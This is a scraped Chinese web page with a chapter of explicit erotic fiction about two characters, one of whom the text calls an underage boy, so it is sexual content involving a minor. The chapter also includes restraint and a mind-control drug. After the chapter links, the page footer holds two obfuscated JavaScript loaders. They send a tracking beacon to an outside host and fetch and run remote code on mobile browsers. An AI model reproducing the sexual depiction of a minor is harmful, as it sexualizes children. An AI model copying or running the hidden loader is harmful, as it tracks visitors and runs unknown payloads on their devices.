之所以会做这种事情,是因为这几天哪怕只是远远的看着夜诱,他都会产生不正常的性冲动,呃,他想通过翻阅以往只是瞄一眼都会很有感觉的色情画册来缓解这种生理上的异常。

夜诱可是男的啊。

虽然那张脸长的比少女还要精致漂亮,可他毕竟还是一个男的,从生理特征来看,确切的说夜诱只是一个还未成年的男孩儿。

不管是为了夜诱还是他自己。

他都绝对不能让现在这种不正常的情况继续下去!

坚定了信念,穆子安全神贯注的翻开了画册。

夜诱!夜诱!夜诱!全部都是夜诱!

裸体美女的画面全部都变成了微笑着把他扑到在地上的可爱的夜诱,娇喘呻吟着“主人好厉害!”的妖媚的夜诱,打开细白的双腿露出粉嫩小穴的要人命的夜诱。

穆子安无法遏制脑海中所有有关夜诱的画面,那些画面在脑海深处不断的翻腾,一股熟悉的热流直直冲向下腹。

双手无奈的探向已然有了感觉的热胀的下半身。

正在这时。

“主人!”

甜美的声音在老旧的木门后响起,仿佛在飘忽在云端的诱惑。

穆子安喉头蓦然一紧,手上套弄的动作不由自主的加快。

好想立刻就冲进去,冲入夜诱湿热紧窒销魂的体内!

天啊!这是不对的!

被自己无耻的想法骇了一跳的穆子安,骤然停止了手中自慰的动作。

不能,不能再继续这样下去了。

夜诱应该跟知道他详细身世的那位小姐回去,而不是跟着他这个穷鬼过日子。

做出了重大决定的穆子安,调整紊乱的唿吸。

“进来吧。”

刻意的让自己的声音保持冷漠疏离。

“主人,已经好几天都没有做了呢,夜诱想要了哦!”

夜诱小兔子一样的蹦了进来,微笑着热情的扑向僵直了身体的穆子安。

“请你不要再叫我主人了,我不是你的主人,你一直这样叫会让我很困扰。

再说,我对你这种身材平板的男人一点都不敢兴趣,所以,我是绝对不会再想跟你做的。“穆子安详装不耐的对着夜诱举了举手里的画册,指了指画里的裸体美女,不停的说着能刺的人心脏都发痛的无情的话语:”我穆子安是个正常的男人,只喜欢画里这样的MM,只有这样的丰满的胸部,才能让我硬。“

“骗人,主人一定是在和夜诱开玩笑的吧!”

夜诱微笑着摇了摇头,一点也没有要相信穆子安所说的话的意思,他一把夺过穆子安手里的画册,爬上床,一边解着穆子安的皮带扣,一边叉开了睡衣下未着寸缕的细白大腿。

穆子安瞄到了眼前让人热血沸腾,血脉贲张的画面之后,克制的咽了口唾沫。

糟糕!

再这样下去,自己兴奋的状态一定会被夜诱察觉,。

最危险的是弄到后来他一定会忍耐不住的进入夜诱媚人的身体。

绝对,绝对不能让这种错误的事情继续发生下去了!

穆子安闭上眼,强力的克制住压倒夜诱的冲动,猛的把正在自己上制造出甜蜜痛楚的小东西推了下去。

“出去!别让我再看到你!我不喜欢你!我不喜欢和男人做!”

慌乱中的穆子安根本不知道自己喊出了多么让人伤心难过的混帐话。

“主……主人……”

半裸了身体,跌倒在地上的夜诱张大了乌黑的大眼,茫然的看着勃然大怒的主人,完全不明白到底发生了什么事情,明明前几天,主人还温柔的搂住他说过“我再也不会碰夜诱以外的其他人了”这样的温暖的话,怎么今天会突然对他这样表情凶恶的大吼大叫。

难道,主人真的喜欢上了画里的人?

“夜诱,知道了,主人不需要,不需要夜诱。”

夜诱一边低喃,一边失魂落魄的站了起来,手里紧紧的拽着画册。

从来没有过的陌生感觉袭击着神经,好难过,好难过。

心脏为什么会产生出这种近乎麻痹的痛感?身体又为什么会突然觉得好冷好冷?双手紧紧的环住自己,却不能感觉到一丝温暖。

如果,主人不需要他了,他该怎么办?

空气静默,就像有无形的抽气垒不断的将之抽到真空的地步,压得人心口一阵难过,穆子安终于仍不住睁开了褐眼,眼角的余光只留下了夜诱离开时那抹受到了深刻伤害的纤弱背影。

他从来没有对任何生物,任何有生命的东西这样大声的严厉的吼过,他从来都不知道自己竟然会这么残忍,残忍到对那么单纯美好的人作出这种举动。

可是,不这么做的话,夜诱要是不肯离开他的话,对他们两个都不好吧。

那位小姐看着夜诱的眼神很温暖,是一种带着母性光辉的温暖,虽然她没有提出要带走夜诱,可是让夜诱跟她走,应该是最好的吧,最少她不会让夜诱饿死。

可为什么?除了内疚之外,心脏的部位开始产生惊人的抽痛。

痛苦的回忆沈思间,老旧的木门被巨大的带着怒气的力量猛然踹开,吱呀作响。

一抹粉红色的身影急窜至穆子安床头。

“穆子安,你这个臭小子,居然敢把我们家夜诱弄哭!”

耳边震万非常不爽的怒吼后,银闪闪的充满邪恶意味的手铐干脆利落的铐上了呆愣着的穆子安的手。

“你,你,你想干嘛?”

手铐?她该不会是想对他做那种事情吧?

可看她咬牙切齿气势汹汹的样子更有可能是想把他活刮了。

想到这里。

穆子安深深的打了个寒颤,不管是哪种可能他都不想啊。

“我想干嘛?你马上就知道了!”

况美美居高临下的递上了一个比母老虎还老虎,比小太妹还太妹,比老巫婆还巫婆的邪恶笑容。

“小诱,进来吧。”

说话间,况美美的手里又闪出了一副亮闪闪的银白手铐,一头铐上了铐着穆子安双手的手铐中间,一头铐上了木床栏。

夜诱也来了?

穆子安闻言把头转向门口的方向。

纯黑色的真丝睡衣微敞着,月色下衬得夜诱牛奶一样白嫩的肌肤泛出诱人的光泽,浅粉色的小小嫩嫩的乳头在黑色布料的边缝中若隐若现,引人遐思,最让人鼻血狂喷的那双细白修长的腿被黑色吊带网纹丝袜紧紧包裹,每走一步都能让人隐约看见秘处的美好风光。

啊啊啊,夜诱怎么会穿这样?

不会是那个看起来很“母性”的女人教的吧?

“如果他还是不硬,就用这个吧,还记得我怎么教你的么?”

“夜诱知道了。”

夜诱接过美美递给他的药水乖巧的点了点头。

“他逃不掉了,去吧。”美美温柔的嘱咐完夜诱,转过头对着被铐在床上鼻血直流的穆子安恶形恶状的吼:“臭小子,你要是再敢吼我们家小诱我就阉了你!”

穆子安下意识的夹紧了双腿。

呜呜……他错了,还错的离谱。

他怎么会认为让夜诱跟着这么恐怖邪恶的变态女人回去会是最好的选择。

“主人……”

夜诱软软怯怯的声音宛如最上等的催情剂一样在耳畔响起。

被撩拨得心猿意马的穆子安,唿吸急促的闭起了眼睛。

老旧的木门再度被关上,邪恶的女王悄然退场,留下了躺在床上被手铐铐得紧紧的大灰狼和一脸纯真往床上爬的小红帽。

“啊哈……那里……不要再舔了……”

古老偏僻的宅邸中传出了淫靡性感的呻吟。

比起说是痛苦的话,那声音更像一种接近痛苦的极乐。

“主人,快乐么?”

含混的问句在探出粉嫩小舌不断轮番照顾主人胸口敏感部位的红唇中溢出。

穆子安因为欲望而涨红了的双颊出卖了他咬紧牙关都不肯承认的事实。

早已经硬挺的乳头被带着夜诱甜淡体香的津液滋润出格外艳丽的色泽。

双腿间雄壮粗大的男性器官也在未经过任何碰触的情况下巍然挺立怒张。

“主人那里想要了哦,可是夜诱不是画册里的人呢,怎么办?”

夜诱温暖润湿的舌尖终于离开了穆子安完全遭遇了口水洗礼的伟岸胸口。

美美有说,除非主人亲口说要夜诱,否则不能用那里满足主人。

可是,娃娃就是为了满足主人而存在的啊?

不满足主人夜诱要怎么办?

“什……什么……怎么办……”

穆子安死死的盯着夜诱舔舐唇瓣的粉嫩舌尖,干渴的喉头发出近似于野兽般的低吟。

谢天谢地,还好他被那个女巫婆用手铐给铐了起来。

要不然他真的怕意志不够坚定的自己会发狂一般的撞进眼前纤细柔弱的人儿

的身体。

虽然只有几天没有做,可初经情欲的身体却似乎已经被名为夜诱的媚毒浸透骨髓,神经末梢因为不被满足的强烈欲求正强烈的叫嚣。

要他!

抱他!

爱他!

自从碰到这个奇特的小东西之后,对任何东西从未曾产生过强烈欲求的他,变得让他自己都感觉有些害怕起来,那种想要把他占为己有的强烈情感,其实从不由自主的进入他的身体那一刻就潜藏在心底的某个角落,只是他从来都不肯承认而已。

“夜诱知道该怎么办了。”

夜诱欣喜的轻叫起来,纠结着的眉头抒展开来,那张纯洁宛如天使一般的脸上露出了叫人看了之后无论如何都不舍得移开目光的纯真笑容。

呃,怎么办?

穆子安痴痴的望着眼前甜美可人到叫人想一口吞了的小东西,大脑的潜意识中依旧为是否要坦诚自己早已沦陷的事实做斗争。

夜诱跨坐在穆子安精壮的躯体上,泛起红晕的白嫩脸蛋透出一种春情荡漾的淫靡色泽,温暖的掌心从穆子安胸口的部位开始游走。

因欲望而汗湿的皮肤格外滑腻,在这样摸摸,摸完之后亲吻的挑逗中,受到严重刺激的毛细孔抗议的冒出更多更多的细小汗珠。

“啊……啊……啊……哈嗯……”

钢铁一样坚硬的腹肌处传来几声“啾啾”的响亮亲吻,甜蜜的麻痹感迅速上窜。

“主人,舒服么?夜诱想要主人舒服。”

夜诱咽了咽口水,他看着主人因为自己所制造的强烈快感而轻轻颤抖的腹部肌肉,现在的这样的主人好性感啊,夜诱也好想要。

嗯,不用那里的话,就先用嘴巴满足主人吧。

“啊……不……不要……”

流淌着蜜汁的挺立部位顶端突然被什么又热又软的东西舔舐着,所有的热量瞬间下窜到焦躁的那一点,血管密集的敏感部分清晰的感应到正在作恶的灵活生物到底是什么──那一定是夜诱的舌头。

可是,好舒服啊!

被灵巧的舌尖充分狎亵玩弄之后,整个热块都被缓缓的包入温热湿润的口腔之中,瞬间到达天堂一样的强烈快感,让穆子安产生了射精的欲望。

就这样……就这样射在夜诱嘴巴里么?

红艳艳柔软美丽的唇正紧紧的圈住自己的欲望,光是这样的淫乱画面就让穆子安浑身越发燥热起来,腰部配合着夜诱的口唇,重重的向上顶起,尖端的部分被吞含至喉咙深处的那种舒适感,让穆子安深思恍惚的攀上极乐。

好想要射在里面,射在这温润湿热柔软的天堂里。

呜呜……鼻血……

“全部,全部都射给夜诱,夜诱要,夜诱要主人。”

口腔中的勃起跳动的厉害,知道主人快要射出来了的夜诱,紧缩口腔摩动。

“啊……啊……不行了……”

被手铐铐住的双手紧握成拳,穆子安粗喘惊吼着把积蓄了好几天的精华毫无保留的射入夜诱甜美的唇齿之间。

屋子里充斥着淫靡的雄性气味,过量的白浊体液从夜诱魅惑的唇角边流了出来,不经意的探出小舌轻轻一舔,黝黑发亮的纯黑瞳仁直勾勾的盯住穆子安,细白的手指探入纯黑的丝质睡衣。

“夜诱也想要主人,想要主人摸这里。”

灯光下闪着淡淡粉色的小巧柔软的乳头,在甜润指尖的轻扫下坚硬起来。

“还想要主人摸这里。”

黑色网纹袜在雪白的股间轻轻勒出两道浅淡的红色痕迹,闭合着的窄小穴口被细巧的指尖采入之后,开始贪婪的蠕动。

“可是,主人不要,不要夜诱,夜诱好难过。”

喉间近乎啜泣的低低哀鸣,像极了被抛弃的可怜宠物。

“没有,我没有不要夜诱。”

被眼前的挑逗撩拨到再度硬了起来的穆子安也发出近乎悲鸣的委屈低吼。

血脉深处都似乎开始沸腾燃烧起来的自己,被手铐缚的牢牢的一动都不能动的自己,无法用确切的行动来告诉夜诱,白天所有的一切都是他骗他的。

看着夜诱这样的伤心,穆子安的心也跟着剧烈疼痛起来。

“可是主人从来都没有承认过夜诱,夜诱是主人的。”

近乎控诉的哀泣,也凄婉柔美到让人恨不得扑上去好好的亲吻那张诱人的小嘴。

穆子安哀叹着自己已成变态的事实,褐色的眼直直的迎上了夜诱的。

“我是,我是夜诱的主人,我穆子安是夜诱的主人。”

穆子安看着夜诱一脸幸福,听到了主人两个字就露出了像是得到全世界一样的微笑,眼角暖热液体悄然渗出。

终于下定决心正面自己的心意,满心的乌云都化作了眼泪,带着难以言说的甜蜜。

“主人喜欢夜诱,非常非常的喜欢,喜欢到自己都不能控制自己的程度。”

一直都不肯坦诚的自己是胆小鬼是懦夫。

“即使夜诱不穿这样,主人也很喜欢夜诱。”喜欢到心脏都抽痛的程度,却一直都像个逃兵一样傻傻的怯懦的不肯承认。

“主人想要夜诱,很想很想,想到全身都发痛的地步。”男人又怎样,他确实是,确实是喜欢上了他,想要他,夜诱就是夜诱,夜诱也只是夜诱,他是他的夜诱,他一个人的夜诱。

“所以,夜诱不需要忍耐。”

如果双手没有被牢牢的铐在床头,他一定会好好的搂住他,告诉他差劲的自己有多么想要他,然后用自己所有的爱包裹住他,好好爱他,他是没有钱,可是,为了夜诱,他一定会更努力的。

“可是,主人中午说,不要……”

夜诱忍耐住欲望爬上穆子安平躺着的身体,黑色的头颅靠在心脏的位置,稳健的“噗通”声通过鼓膜在传递至身体深处,他虽然为主人所说的一切而欣喜若狂,可是,对于这样突然的变化,又觉得有些不可置信,也许这只是主人对他的怜悯。

虽然他从头至尾都没有想过去用美美说的能控制主人身心的药水,但是他现在甚至怀疑起是不是美美为了让他高兴而提前给主人喝了另外一份。

否则主人一天只内怎么可能变化那么大?

虽然,现在这样温柔的注视着自己的主人,让他感觉非常高兴,可是他不希望主人说这些话全都是因为被药物控制,或者是不情愿的,他宁愿做一个被抛弃了的娃娃,也不要主人有一点点不开心,不乐意。

“忘记主人中午所说的,那不是夜诱的主人所说的,那是一个叫穆子安的混蛋所说的。”

是的,他是混蛋,从小到大连一只蚂蚁都不忍心踩死的他,怎么能忍心对心爱的夜诱说出那样的话。

穆子安看着夜诱努力忍耐着情欲,却一脸不敢相信自己所做的承诺的表情,有一种想要仰天长叹的挫败感,果然是被自己伤的太深了么?

要怎样才能让小东西相信他呢?

沉默了一会儿,穆子安终于想起了能解决现在被欲望折磨着的两个人身心需求的办法。

“主人的话是不是不可以不听?”

低哑的嗓音振动着胸腔,趴在他胸口的夜诱乖巧的点了点头。

“那好,现在,夜诱要乖乖的,把主人的手铐解除掉。”

“夜诱没有想铐主人,夜诱也想帮主人解开手铐,可是这个手铐是特殊材料制成的,夜诱也拗不断,钥匙……只有美美才有。”

夜诱抬起头解释着,表情认真又无辜,他怎么可能会想锁住主人呢,凡是对主人不利的事情,他全都不会做的。

“那好,夜诱现在把身上的东西全都脱光。”

穆子安咽了口过剩的唾液,不太确信自己会不会因为夜诱带着一点点迷惘又带着一点点羞涩的表情暴血而亡。

“主人不喜欢夜诱穿这样?”

刚刚主人好像是有说过,不过美美也说了,如果主人真的喜欢画册里的人,那就应该会喜欢夜诱穿这样,既然主人不喜欢夜诱穿这样,那就是说主人不喜欢画册里的人。

想到这里,夜诱的嘴角弯起了漂亮诱人的弧度。

10

喉头处传来阵阵熟悉的干渴感,跨坐在他腰际的夜诱,牛奶般细腻的肌肤时不时的蹭到他腰部腿部。

再这么让小东西蹭下去的话,他可怜的小弟弟肯定又要控制不住射了。

“过,过来,主人现在要吻夜诱。”

穆子安一边吞咽着口水一边的对着夜诱下达索吻的命令。

夜诱乌黑的大眼闪烁出满足的喜悦,巧妙而煽情的吻就这样猛烈的铺天盖地的罩了上来,探入口腔之中的舌头彼此交换着热情甜蜜的津液。

真是,好美妙的感觉,仅仅只是品尝到夜诱甜美的津液,内心深处就产生出异常温暖的感觉。

真想一直一直就这样吻下去。

“主人……要换气哦。”

夜诱微微撤离了红嫩嫩的唇,有些担忧的看着因为长吻而忘记换气的主人。

唿唿。

被提醒之后终于记得还有唿吸这回事的穆子安精悍的俊脸因为羞愧而涨得通红。

是他提出要接吻的,可是他青涩的表现却和初吻一样。

嗯,虽然从严格的意义上来说,这也确实是他的初吻,可如果因为接吻时间过长而死,肯定比纵欲过度马上风之类的更叫人羞愧。

“主人的味道,好温暖,夜诱也想吻主人哦。”

趴穆子安在身上的夜诱细滑的手指执起穆子安棱角分明的下巴,舌尖从丰润的下唇开始一遍遍轻舔。

穆子安轻启了双唇,表示默许。

夜诱驾轻就熟的把舌头探入了穆子安微微开启着的洁白齿列,比手指都还要灵活的小舌在穆子安温热的口腔中肆无忌惮的舔弄翻搅。

“呜呜……”

上鄂的部分被狡猾的小舌轻巧滑过的瞬间,穆子安开始混乱的大脑中产生出自愧不如的自卑感以及一股莫名酸涩的醋意。

把夜诱从箱子里放出来的那一晚开始,他就发现关于性爱的一切夜诱都熟捻老练到不可思议的程度,无论是接吻还是做爱,无论是口交还是指交。

夜诱曾经和许多男人交往过,或者从小就被调教到这么淫乱的地步的想法,让穆子安在承认自己心意的同时无法不去嫉妒,当然也产生了经历过这么多男人的夜诱会不会觉得自己比不上他以前所交往的那些人的自卑想法。

这种令人不安的臆想一直潜伏在穆子安的意识深处,而被夜诱的娴熟技巧挑逗到血脉贲张神志恍惚的现在,却突然漂浮到了意识的表层。

“主人一定很差劲吧,比不上夜诱以前的主人。”

因为非常在意夜诱的想法,穆子安略带苦涩的问着。

夜诱之所以这么在意主人这种称唿说不定也是被前任的主人所调教出来的习惯。

“夜诱只有主人一个主人,夜诱从来没有以前的主人。”夜诱转移阵地轻舔着穆子安敏感的耳垂,毫不意外的撇见健硕的肌体轻轻一颤:“夜诱虽然没有比较过,但是主人一定是最棒的。”

只要碰触到主人的身体,闻到主人的味道,后穴的深处就会产生出强烈的空虚感,夜诱敏感而淫乱的体质,让他无时无刻不深深的渴望着穆子安的疼爱,只是因为怕穆子安会讨厌这样需索无度的自己,夜诱已经不敢像第一天那样擅自坐上主人硕大的硬挺了。

甜美温润的气息在耳畔缓缓晕散,穆子安听到夜诱的回答之后,咧着嘴开心的傻笑起来。

只有他一个主人?

从来没有以前的主人?

没有比较过?

那么也就是说他第一个也是唯一个进入夜诱身体的男人。

雄性的独占欲和自豪感都在这一刻得到了充分的满足,穆子安懊恼的抬头看了眼把他铐的牢牢的手铐。

该死的巫婆,连手腕都不能转一转,害他在确认了自己的心意的同时无法好好的抱他的小东西。

“夜诱也是最棒的,主人好想抱夜诱。”

穆子安红着脸坦诚着自己的欲望。

呃,虽然他也没有比较过,不过他也相信夜诱是最棒的。

“可是,手铐没办法解开。今天就让夜诱抱住主人吧。”

夜诱一边这样说,一边向上拔了拔身体,从咯吱窝开始温柔的舔舐着穆子安被铐住无法动弹的雄壮手臂。

“唔啊……”穆子安从来都不知道,居然连手臂肌肉都是自己的敏感带。

当手臂内侧的肌肉被粉嫩的舌尖轻舔的时候,穆子安


上一篇:英格尔的手札熏与望篇

下一篇:性福的老婆,幸福的老公(01-05)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};